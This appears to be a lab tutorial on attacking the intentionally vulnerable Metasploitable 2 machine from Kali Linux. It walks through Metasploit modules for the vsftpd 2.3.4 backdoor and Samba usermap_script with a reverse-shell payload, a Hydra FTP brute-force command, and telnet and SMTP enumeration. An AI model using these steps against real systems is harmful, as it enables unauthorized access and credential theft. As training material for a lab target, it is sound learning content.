**SCANNING AND ENUMERATION USING** **NMAP**

**METASPOITABLE MACHINE 2 AND KALI LINUX**

We’ll be showing steps on how to exploit these networks protocol using their port versions

State Version

1. ftp vsftpd 2.3.4
2. telnet Linux telnetd
3. smtp postfix smtp
4. Using **Hydra** as an exploitation tool
5. Netbios-ssn

ftp – vsftpd 2.3.4

File transfer protocol (FTP) is a standard network protocol used for transferring files between a client and a server on a TCP/IP-based network.

1. Open a terminal on Kali Linux
2. Put in the ‘msfconsole’ command
3. Search vsftpd 2.3.4
4. Use the command ‘use 0’
5. Show options
6. Set RHOSTS “IP ADDRESS”
7. exploit
8. Hostname
9. Ifconfig (for confirmation)

telnet – Linux telnetd

Telnet is a network protocol that allows users to remotely access and control another computer over the internet or a local area network (LAN) using a text-based command-line interface.

1. Open a terminal on Kali Linux
2. Put in the ‘msfconsole’ command
3. Use the command “telnet 23” 23 is the port number
4. Use 1
5. Show options
6. Set RHOSTS “iP address”
7. Set STOP\_ON\_SUCCESS TRUE
8. Set USERPASS\_FILE
9. Show options
10. exploit ( must be successful )

Smtp

SMTP, or Simple Mail Transfer Protocol, is the fundamental protocol that allows email to be sent and received over the internet, acting as the "postal service" for emails, ensuring they are routed and delivered between servers.

1. Open a terminal on Kali Linux
2. Put in the ‘msfconsole’ command
3. Use the command “ service postgresql start”
4. Search smtp\_enum
5. Use 0
6. Show options
7. Set RHOSTS “iP address”
8. exploit
9. Use Netcad
10. nc 192………..

Using Hydra as an exploitation tool

To exploit ftp

1. create a file username.txt
2. nano the file with possible usernames
3. create a file password.txt
4. nano the file with possible passwords

hydra -L /home/kali/Downloads/username.txt -P /home/kali/Downloads/password.txt (ip address) ftp -V

Netbios-ssn

Samba is an open-source project that is widely used on linux and unix computers so they can work with window file and print services.

We can use samba as an active server to handle login, authentication and access control for a windows network.

1. Open a terminal on Kali Linux
2. Put in the ‘msfconsole’ command
3. Search exploit samba
4. Use exploit/multi/samba/usermap\_script
5. Show options
6. Set RHOSTS ip address (victim’s machine)
7. Set the payloads
8. Show payloads
9. Use payload cmd/unix/reverse
10. Set required argument for payloads
11. Show options
12. Set LHOSTS ip address (my ip address)
13. Set LPORT 4444
14. exploit